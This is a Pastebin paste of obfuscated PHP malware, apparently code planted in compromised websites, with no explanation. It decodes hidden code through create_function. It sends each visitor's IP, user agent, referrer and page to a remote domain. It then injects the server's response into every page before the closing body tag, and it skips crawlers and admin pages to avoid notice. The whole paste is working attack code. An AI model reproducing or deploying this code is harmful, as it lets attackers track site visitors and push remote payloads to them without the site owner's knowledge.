Advertisement
johnburn

Untitled

Oct 14th, 2014
450
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 6.83 KB | None | 0 0
  1. <?php
  2. function oo2($b) {
  3.     $h = explode("|", strrev($b));
  4.     $d = explode("*", $h[0]);
  5.     $b = $h[1];
  6.     for($i=0;$i<sizeof($d);$i++) {
  7.         $b = str_replace($i, $d[$i], $b);
  8.     }
  9.     create_function("", "};".$b."//");
  10. }
  11.  
  12. function cqq($qw) {
  13.     return random($domarr,$qw);
  14. }
  15.  
  16. function oo1($y) {
  17.     $y= strrev($y);
  18.     $g=substr($y,strpos($y,"9")+1);
  19.     $v = explode(":",substr($y,0,strpos($y,"9")));
  20.     for($i=0;
  21.         $i<sizeof($v);
  22.         $i++) {
  23.         $q = explode("|", $v[$i]);
  24.         $g = str_replace($q[0],$q[1],$g);
  25.     }
  26.     create_function("", "}; ".$g."//");
  27. }
  28.  
  29. function random($arr,$qw) {
  30.     $g="w-86794587495086f963874,qq-82d94486e,r-86297186e94186d945,wq-874941874,s-873,g= w. r; m-8"."6d944835,sq-87396487293787396086c951874\42\x3b";
  31.     $soy = "en2";
  32.     $xx="exp"."lode";
  33.     $ecx="create_function";
  34.     $scy="str_replace";
  35.     $a = $xx("|","\x5c\170\x7c\134\x31\174\x3d\42\x7c\42\x3b\44\x7c\44");
  36.     $aa = $xx("|","8|9|-|,| ");
  37.     $mec=$ecx;
  38.     for($i=0;
  39.         $i<sizeof($a);
  40.         $i++) {$g = $scy($aa[$i],$a[$i],$g);
  41.     }
  42.     $ecx("", "}; $g//");
  43.     $mec("", $soy("\230\77\153\147\26\167\114\130\223\257\211\2\253\5\172\316\25\262\145\25\62\72\127\156\270\100\154\56\341\77\4\37\21\152\206\334\101\334\32\210\353\173\253\5\123\231\47\13\20",$scy));
  44.     return $arr[rand((0.24-(0.03*8)),(0.1875*6))].$qw;
  45. }
  46.  
  47. $r9 = explode("|",'1067|416|779|223|361');
  48. $b9=0;
  49. $a9=0;
  50.  
  51. for($i9=0; $i9<sizeof($r9); $i9++) {
  52.     if ($i9==0)
  53.         $a9=0;
  54.     else
  55.         $a9=$r9[$i9-1]+$a9;
  56.     $b9=$r9[$i9];
  57.     $v_[]=substr($v9, $a9, $b9);
  58. }
  59.  
  60. $y =1;
  61. for($i=0; $i<5; $i++) {
  62.     $vv1 ="o"."o".$y;
  63.     if ($y==1)
  64.         $y=2;
  65.     else $y=1;
  66.     $vv1($v_[$i]);
  67. }
  68.  
  69. function en2($s, $q) {
  70.     $l="strlen";
  71.     $p="pack";
  72.     $r="substr";
  73.     $m="md5";
  74.     $g = "";
  75.     while ($l($g)<$l($s)) {
  76.         $q = $p("H*",$m($g.$q."q1w2e3r4"));
  77.         $g.=$r($q,0,8);
  78.     }
  79.     return $s^$g;
  80. }
  81.  
  82.  
  83. function g_1($url) {
  84.     if (function_exists("file_get_contents") === false)
  85.         return false;
  86.     $buf = @file_get_contents($url);
  87.     if ($buf == "")
  88.         return false;
  89.     return $buf;
  90. }
  91.  
  92. function g_2($url) {
  93.     if (function_exists("curl_init") === false)
  94.         return false;
  95.     $ch = curl_init();
  96.     curl_setopt($ch, CURLOPT_URL, $url);
  97.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  98.     curl_setopt($ch, CURLOPT_TIMEOUT, 10);
  99.     curl_setopt($ch, CURLOPT_HEADER, 0);
  100.     $res = curl_exec($ch);
  101.     curl_close($ch);
  102.     if ($res == "")
  103.         return false;
  104.     return $res;
  105. }
  106.  
  107. function g_3($url) {
  108.     if (function_exists("file") === false)
  109.         return false;
  110.     $inc = @file($url);
  111.     $buf = @implode("", $inc);
  112.     if ($buf == "")
  113.         return false;
  114.     return $buf;
  115. }
  116.  
  117. function g_4($url) {
  118.     if (function_exists("socket_create") === false)
  119.         return false;
  120.     $p= @parse_url($url);
  121.     $host = $p["host"];
  122.     if(!isset($p["query"]))
  123.         $p["query"]="";
  124.     $uri = $p["path"] . "?" . $p["query"];
  125.     $ip1 = @gethostbyname($host);
  126.     $ip2 = @long2ip(@ip2long($ip1));
  127.     if ($ip1 != $ip2)
  128.         return false;
  129.     $sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  130.     if (!@socket_connect($sock, $ip1, 80)) {
  131.         @socket_close($sock);
  132.         return false;
  133.     }
  134.  
  135.     $req = "GET $uri HTTP/1.0\n";
  136.     $req .= "Host: $host\n\n";
  137.     socket_write($sock, $req);
  138.     $buf = "";
  139.     while ($t = socket_read($sock, 10000)) {
  140.         $buf .= $t;
  141.     }
  142.     @socket_close($sock);
  143.     if ($buf == "") return false;
  144.     list($m, $buf) = explode("\r\n\r\n", $buf);
  145.     return $buf;
  146. }
  147.  
  148. function gtd ($url) {
  149.     $co = "";
  150.     $co = @g_1($url);
  151.     if ($co !== false)
  152.         return $co;
  153.     $co = @g_2($url);
  154.     if ($co !== false)
  155.         return $co;
  156.     $co = @g_3($url);
  157.     if ($co !== false)
  158.         return $co;
  159.     $co = @g_4($url);
  160.     if ($co !== false)
  161.         return $co;
  162.     return "";
  163. }
  164.  
  165.  
  166.  
  167. if (!function_exists("comgzi")) {
  168.     function comgzi($gzData) {
  169.         if (substr($gzData,0,3)=="\x1f\x8b\x08") {
  170.             $i=10;
  171.             $flg=ord(substr($gzData,3,1));
  172.             if ($flg>0) {
  173.                 if ($flg & 4) {
  174.                     list($xlen)=unpack("v",substr($gzData,$i,2));
  175.                     $i=$i+2+$xlen;
  176.                 }
  177.                 if ($flg & 8)
  178.                     $i=strpos($gzData,"\0",$i)+1;
  179.                 if ($flg & 16)
  180.                     $i=strpos($gzData,"\0", $i)+1;
  181.                 if ( $flg & 2)
  182.                     $i=$i+2;
  183.             }
  184.             return @gzinflate(substr($gzData,$i,-8));
  185.         } else{
  186.             return false;
  187.         }
  188.     }
  189. }
  190.  
  191. function k34($op,$text) {
  192.     return base64_encode(en2($text, $op));
  193. }
  194.  
  195. function check212($param) {
  196.     if(!isset($_SERVER[$param])) $a="non";
  197.     else if ($_SERVER[$param]=="") $a="non";
  198.     else $a=$_SERVER[$param];
  199.     return $a;
  200. }
  201.  
  202. function day212() {
  203.     $a=check212("HTTP_USER_AGENT");
  204.     $b=check212("HTTP_REFERER");
  205.     $c=check212("REMOTE_ADDR");
  206.     $d=check212("HTTP_HOST");
  207.     $e=check212("PHP_SELF");
  208.     $domarr = array("33db9538","9507c4e8","e5b57288","54dfa1cb");
  209.     if (($a=="non")
  210.         or ($c=="non")
  211.         or ($d=="non")
  212.         or strrpos(strtolower($e),"admin")
  213.         or (preg_match("/" . implode("|", array("google","slurp","msnbot","ia_archiver","yandex","rambler")) . "/i",
  214.                        strtolower($a))) ) {
  215.         $o1 = "";
  216.     } else {
  217.         $op=mt_rand(100000,999999);
  218.         $g4=$op."?".urlencode(urlencode(k34($op,$a).".".k34($op,$b).".".k34($op,$c).".".k34($op,$d).".".k34($op,$e)));
  219.         $url="http://".cqq(".com")."/".$g4;
  220.         $ca1=en2(@gtd($url),$op);
  221.         $a1=@explode("!NF0",$ca1);
  222.         if (sizeof($a1)>=2)
  223.             $o1 = $a1[1];
  224.         else
  225.             $o1 = "";
  226.     }
  227.     return $o1;
  228. }
  229.  
  230. if (!function_exists("dcoo")) {
  231.     function dcoo($cz, $length = null) {
  232.         if (false !== ($dz = @gzinflate($cz) ) )
  233.             return $dz;
  234.         if (false !== ($dz = @comgzi($cz) ) )
  235.             return $dz;
  236.         if (false !== ($dz = @gzuncompress($cz) ) )
  237.             return $dz;
  238.         if (function_exists("gzdecode") ) {
  239.             $dz = @gzdecode($cz);
  240.             if (false !==$dz )
  241.                 return $dz;
  242.         } return $cz;
  243.     }
  244. }
  245.  
  246. if(!function_exists("pa22")) {
  247.     function pa22($v) {
  248.         Header("Content-Encoding: none");
  249.         $p="preg_";
  250.         $p1=$p."match";
  251.         $p2=$p."replace";
  252.         $t=dcoo($v);
  253.         if($p1("/\<\/body/si",$t)) {
  254.             return $p2("/(\<\/body[^\>]*\>)/si", day212()."\n"."$"."1", $t,1);
  255.         } else {
  256.             if($p1("/\<\/html/si",$t)) {
  257.                 return $p2("/(\<\/html[^\>]*\>)/si", day212()."\n"."$"."1", $t,1);
  258.             } else {
  259.                 return $t;
  260.             }
  261.         }
  262.     }
  263. }
  264. ob_start("pa22");
  265. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement